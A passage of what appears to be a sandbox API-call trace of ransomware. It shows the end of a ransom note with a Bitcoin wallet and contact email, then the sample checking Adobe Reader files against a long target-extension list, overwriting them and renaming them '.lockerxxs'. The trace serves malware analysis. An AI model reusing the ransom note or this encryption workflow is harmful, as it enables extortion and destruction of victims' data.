them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0068.636] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0068.638] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0068.638] CloseHandle (hObject=0x94) returned 1 [0068.639] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\", lpString2="AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf" [0068.639] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.ems") returned 0 [0068.639] lstrlenA (lpString="*.ems") returned 5 [0068.639] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.db") returned 0 [0068.639] lstrlenA (lpString="*.db") returned 4 [0068.639] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.dbf") returned 0 [0068.639] lstrlenA (lpString="*.dbf") returned 5 [0068.639] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.myox") returned 0 [0068.639] lstrlenA (lpString="*.myox") returned 6 [0068.639] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.myo") returned 0 [0068.639] lstrlenA (lpString="*.myo") returned 5 [0068.639] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.qbw") returned 0 [0068.639] lstrlenA (lpString="*.qbw") returned 5 [0068.639] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.qbb") returned 0 [0068.639] lstrlenA (lpString="*.qbb") returned 5 [0068.639] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.qbm") returned 0 [0068.639] lstrlenA (lpString="*.qbm") returned 5 [0068.639] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.qbo") returned 0 [0068.639] lstrlenA (lpString="*.qbo") returned 5 [0068.639] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.qbx") returned 0 [0068.640] lstrlenA (lpString="*.qbx") returned 5 [0068.640] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.qba") returned 0 [0068.640] lstrlenA (lpString="*.qba") returned 5 [0068.640] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.qby") returned 0 [0068.640] lstrlenA (lpString="*.qby") returned 5 [0068.640] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.qbj") returned 0 [0068.640] lstrlenA (lpString="*.qbj") returned 5 [0068.640] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.ofx") returned 0 [0068.640] lstrlenA (lpString="*.ofx") returned 5 [0068.640] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.qif") returned 0 [0068.640] lstrlenA (lpString="*.qif") returned 5 [0068.640] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.mye") returned 0 [0068.640] lstrlenA (lpString="*.mye") returned 5 [0068.640] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.mbox") returned 0 [0068.640] lstrlenA (lpString="*.mbox") returned 6 [0068.640] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.eml") returned 0 [0068.640] lstrlenA (lpString="*.eml") returned 5 [0068.640] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.pst") returned 0 [0068.640] lstrlenA (lpString="*.pst") returned 5 [0068.640] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.ost") returned 0 [0068.640] lstrlenA (lpString="*.ost") returned 5 [0068.641] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.idx") returned 0 [0068.641] lstrlenA (lpString="*.idx") returned 5 [0068.641] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.dbx") returned 0 [0068.641] lstrlenA (lpString="*.dbx") returned 5 [0068.641] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.sql") returned 0 [0068.641] lstrlenA (lpString="*.sql") returned 5 [0068.641] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.mdb") returned 0 [0068.641] lstrlenA (lpString="*.mdb") returned 5 [0068.641] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.fdb") returned 0 [0068.641] lstrlenA (lpString="*.fdb") returned 5 [0068.641] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.wab") returned 0 [0068.641] lstrlenA (lpString="*.wab") returned 5 [0068.641] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.dat") returned 0 [0068.641] lstrlenA (lpString="*.dat") returned 5 [0068.641] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.txt") returned 0 [0068.641] lstrlenA (lpString="*.txt") returned 5 [0068.641] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.jpeg") returned 0 [0068.641] lstrlenA (lpString="*.jpeg") returned 6 [0068.642] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.jpg") returned 0 [0068.642] lstrlenA (lpString="*.jpg") returned 5 [0068.642] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.png") returned 0 [0068.642] lstrlenA (lpString="*.png") returned 5 [0068.642] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.php") returned 0 [0068.642] lstrlenA (lpString="*.php") returned 5 [0068.642] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.cs") returned 0 [0068.642] lstrlenA (lpString="*.cs") returned 4 [0068.642] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.cpp") returned 0 [0068.642] lstrlenA (lpString="*.cpp") returned 5 [0068.642] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.rar") returned 0 [0068.642] lstrlenA (lpString="*.rar") returned 5 [0068.642] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.zip") returned 0 [0068.642] lstrlenA (lpString="*.zip") returned 5 [0068.642] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.html") returned 0 [0068.642] lstrlenA (lpString="*.html") returned 6 [0068.642] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.htm") returned 0 [0068.642] lstrlenA (lpString="*.htm") returned 5 [0068.642] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.xlsx") returned 0 [0068.642] lstrlenA (lpString="*.xlsx") returned 6 [0068.643] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.xls") returned 0 [0068.643] lstrlenA (lpString="*.xls") returned 5 [0068.643] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.mp4") returned 0 [0068.643] lstrlenA (lpString="*.mp4") returned 5 [0068.643] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.ppt") returned 0 [0068.643] lstrlenA (lpString="*.ppt") returned 5 [0068.643] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.pptx") returned 0 [0068.643] lstrlenA (lpString="*.pptx") returned 6 [0068.643] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.doc") returned 0 [0068.643] lstrlenA (lpString="*.doc") returned 5 [0068.643] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.dot") returned 0 [0068.643] lstrlenA (lpString="*.dot") returned 5 [0068.643] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.docx") returned 0 [0068.643] lstrlenA (lpString="*.docx") returned 6 [0068.643] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.7z") returned 0 [0068.643] lstrlenA (lpString="*.7z") returned 4 [0068.643] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.tar") returned 0 [0068.643] lstrlenA (lpString="*.tar") returned 5 [0068.643] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.bz2") returned 0 [0068.643] lstrlenA (lpString="*.bz2") returned 5 [0068.644] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.gz") returned 0 [0068.644] lstrlenA (lpString="*.gz") returned 4 [0068.644] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.mkv") returned 0 [0068.644] lstrlenA (lpString="*.mkv") returned 5 [0068.644] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.eml") returned 0 [0068.644] lstrlenA (lpString="*.eml") returned 5 [0068.644] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.msg") returned 0 [0068.644] lstrlenA (lpString="*.msg") returned 5 [0068.644] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.edb") returned 0 [0068.644] lstrlenA (lpString="*.edb") returned 5 [0068.644] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.accdb") returned 0 [0068.644] lstrlenA (lpString="*.accdb") returned 7 [0068.644] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.odb") returned 0 [0068.644] lstrlenA (lpString="*.odb") returned 5 [0068.644] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.java") returned 0 [0068.644] lstrlenA (lpString="*.java") returned 6 [0068.644] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.asm") returned 0 [0068.644] lstrlenA (lpString="*.asm") returned 5 [0068.645] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.pfx") returned 0 [0068.645] lstrlenA (lpString="*.pfx") returned 5 [0068.645] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.pem") returned 0 [0068.645] lstrlenA (lpString="*.pem") returned 5 [0068.645] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.p12") returned 0 [0068.645] lstrlenA (lpString="*.p12") returned 5 [0068.645] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.gpg") returned 0 [0068.645] lstrlenA (lpString="*.gpg") returned 5 [0068.645] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.vsd") returned 0 [0068.645] lstrlenA (lpString="*.vsd") returned 5 [0068.645] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.odg") returned 0 [0068.645] lstrlenA (lpString="*.odg") returned 5 [0068.645] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.raw") returned 0 [0068.645] lstrlenA (lpString="*.raw") returned 5 [0068.645] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.nef") returned 0 [0068.645] lstrlenA (lpString="*.nef") returned 5 [0068.645] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.svg") returned 0 [0068.645] lstrlenA (lpString="*.svg") returned 5 [0068.646] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.psd") returned 0 [0068.646] lstrlenA (lpString="*.psd") returned 5 [0068.646] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.vmx") returned 0 [0068.646] lstrlenA (lpString="*.vmx") returned 5 [0068.646] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.vmdk") returned 0 [0068.646] lstrlenA (lpString="*.vmdk") returned 6 [0068.646] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.vdi") returned 0 [0068.646] lstrlenA (lpString="*.vdi") returned 5 [0068.646] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.lay6") returned 0 [0068.646] lstrlenA (lpString="*.lay6") returned 6 [0068.646] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.mpeg") returned 0 [0068.646] lstrlenA (lpString="*.mpeg") returned 6 [0068.646] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.djvu") returned 0 [0068.646] lstrlenA (lpString="*.djvu") returned 6 [0068.646] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.tiff") returned 0 [0068.646] lstrlenA (lpString="*.tiff") returned 6 [0068.646] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.backup") returned 0 [0068.647] lstrlenA (lpString="*.backup") returned 8 [0068.647] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", pszSpec="*.pdf") returned 1 [0068.647] lstrlenA (lpString="*.pdf") returned 5 [0068.647] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf" [0068.647] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf" [0068.647] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf." [0068.647] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf.lockerxxs" [0068.647] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0068.648] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x10929 [0068.648] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9640cd00, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x805da3e0, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9640cd00, dwHighDateTime=0x1cb84b4)) returned 1 [0068.648] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.648] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x10903, lpOverlapped=0x0) returned 1 [0068.652] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf") returned="AdobeID.pdf" [0068.652] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.652] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x10903, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x10903, lpOverlapped=0x0) returned 1 [0068.654] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0068.654] CloseHandle (hObject=0x94) returned 1 [0068.657] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\adobeid.pdf.lockerxxs")) returned 1 [0068.664] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10405, dwReserved0=0xec0003ef, dwReserved1=0x4e00c4, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0068.664] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0068.665] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DefaultID.pdf") returned 1 [0068.665] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DefaultID.pdf") returned 1 [0068.665] lstrcmpiA (lpString1="", lpString2="DefaultID.pdf") returned -1 [0068.665] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf") returned="AdobeID.pdf" [0068.665] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\" [0068.665] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\") returned="" [0068.665] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\HOW TO DECRYPT FILES.txt" [0068.665] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\how to decrypt files.txt")) returned 0x20 [0068.665] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\", lpString2="DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf" [0068.665] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.ems") returned 0 [0068.665] lstrlenA (lpString="*.ems") returned 5 [0068.665] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.db") returned 0 [0068.665] lstrlenA (lpString="*.db") returned 4 [0068.665] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.dbf") returned 0 [0068.666] lstrlenA (lpString="*.dbf") returned 5 [0068.666] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.myox") returned 0 [0068.666] lstrlenA (lpString="*.myox") returned 6 [0068.666] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.myo") returned 0 [0068.666] lstrlenA (lpString="*.myo") returned 5 [0068.666] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.qbw") returned 0 [0068.666] lstrlenA (lpString="*.qbw") returned 5 [0068.666] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.qbb") returned 0 [0068.666] lstrlenA (lpString="*.qbb") returned 5 [0068.666] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.qbm") returned 0 [0068.666] lstrlenA (lpString="*.qbm") returned 5 [0068.666] PathMatchSpecA 